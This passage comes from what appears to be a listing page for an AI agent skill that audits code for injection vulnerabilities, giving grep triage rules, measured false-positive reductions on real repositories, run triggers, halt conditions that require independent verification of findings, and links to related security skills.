- **`.exec(` on a RegExp or a DB handle is not a process.** Grep 4a excludes method calls; a destructured `exec` from `child_process` is still caught.
- **A constant is not a source — unless an admin UI writes it.** Settings tables, feature-flag payloads and "rule" rows are second-order sources.
- **Mitigations are versioned.** CR/LF rejection in headers, Psych 4's safe `YAML.load`, SnakeYAML 2.0, `torch.load`'s `weights_only` default — read the lockfile before relying on one; unknown version → `[report-flagged]`.
- **Validation after the sink does not count**; neither does validation in a sibling route the attacker can skip.
- **Test files and fixtures** carrying payloads are not findings unless shipped code imports them — `X` drops them, so list shipped files that import one: `rg -n --pcre2 "from ['\"][^'\"]*(/tests?/|/__mocks__/|/fixtures/|\.(test|spec)['\"])" "${X[@]}" .`. **Generated code** (ORM clients, GraphQL codegen) is not the sink — its caller is.
- **Measured on a real repo** (a NestJS-on-Fastify monorepo with MikroORM, about 12k files, 2026-10): the earlier grep set returned 1a 325, 2b 510 and the sources grep 1,368 lines, almost all tests, TS migrations, comment prose, i18n JSON and prior audit output; with `X` and `NC` they return 103 (8 shipped), 38 (4 shipped) and 30. The per-lane escape-hatch greps returned 0 beside 64 shipped `em` / `connection` `.execute(` calls until the MikroORM line (46 non-constant hits, 41 shipped); 1e found 19 shipped SQL templates, 11 of which 1a misses because the keyword and `${}` sit on different lines; 13b missed four polynomial regexes that 13c's `recheck` pass flags. On the pack's seeded benchmark fixture all ten injection defects stay in the candidate set and its tagged-`$queryRaw` decoy stays out of it.
- **Measured 2026-10-15 on a real NestJS + React monorepo, offline:** grep 14 went 3 → 0 (all three were toast ids `query-error:${msg}`), 7a 6 → 0 (methods named `template` / `createTemplate` on domain ports), 2a 6 → 1 (the one left is the real `params.sort_by` → column map; the dropped five were browser wire mappers, a `params: [...]` array and `request.body = fields`). 13c could not install recheck: the heuristic printed 52 of 864 extracted regexes, among them the one unanchored quadratic e-mail pattern the audit kept. On `vuln-fullstack` every seeded injection line still prints, and the heuristic alone also lists the seeded ReDoS.

## When to run

- On any diff touching a query, a raw-SQL or query-builder escape hatch, a process spawn, `eval`-family code, a template render, an XML / YAML / serialized-object parse, a deep merge of request JSON, a regex built from input, or a CSV / spreadsheet export — the `/security-audit` dispatch signal.
- On every whole-repo `/security-audit`, reporting all fifteen classes.
- When a feature adds a new entry point that is not an HTTP route — a queue consumer, a webhook, an import job, a model call whose output reaches code (grep 16).

## Halt conditions

- Do not report a critical or high row as confirmed until a verifier other than the run that found it has passed it through [`finding-verification.md`](../../../../snippets/finding-verification.md). Under `/security-audit` that happens in Phase 4; run standalone, it applies the protocol as a separate second pass, tags those rows `self-verified`, and lists the rest as Unconfirmed, Hardening or Refuted — never drops them.
- Halt on any finding without the sink `<file:line>` + the traced source + the concrete fix.
- Do not report a grep hit as a finding. Every row is a hit **plus** a read of the enclosing function **plus** the hops back to a source.
- Do not propose escaping, a deny-list or a WAF rule as the fix where a binding, argv, allow-list or safe-loader API exists.
- Do not print "no injection found" without the class-coverage block; a class whose grep did not run is `blocked`, never `checked`.
- Do not re-derive a class another skill owns (§ Boundaries) — cross-link it.

## Related

- `/security-audit` — dispatches here on its injection signal and folds this skill's class-coverage block into its class ledger; `/security-fix` closes the findings.
- `@security-auditor` — § "A05 Injection (incl. XSS)" and § "A08 Software or Data Integrity Failures" are the surface rows; this skill is the executor behind them.
- `@api-security-reviewer` — § "API3 — Broken Object Property Level Authorization (BOPLA)" owns mass assignment; § "GraphQL (if the API exposes a GraphQL endpoint)" owns GraphQL limits.
- `@llm-security-reviewer` — § "LLM10 Improper Output Handling" owns the model-output trust judgment; sinks it reaches are reported here.
- `ssrf-scan`, `xss-scan`, `file-access-scan`, `data-exposure-scan`, `deps-audit` — the neighbouring classes (§ Boundaries). `sast-scan` — a semgrep / bandit / gosec / brakeman hit in an injection class is a candidate for the matching detector here, triaged by the same read-the-function rule.
- `rules/security-principles.md` — § "Must" (parameterized queries and the identifier carve-out) and § "Must not" (no dynamic evaluation, no shell interpolation of input).
- `backend/ai-patterns/request-validation.md` — § "Mass-assignment / over-posting — the allow-list", when the backend pack is installed; without it, `@api-security-reviewer`'s API3 row carries the same rule.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.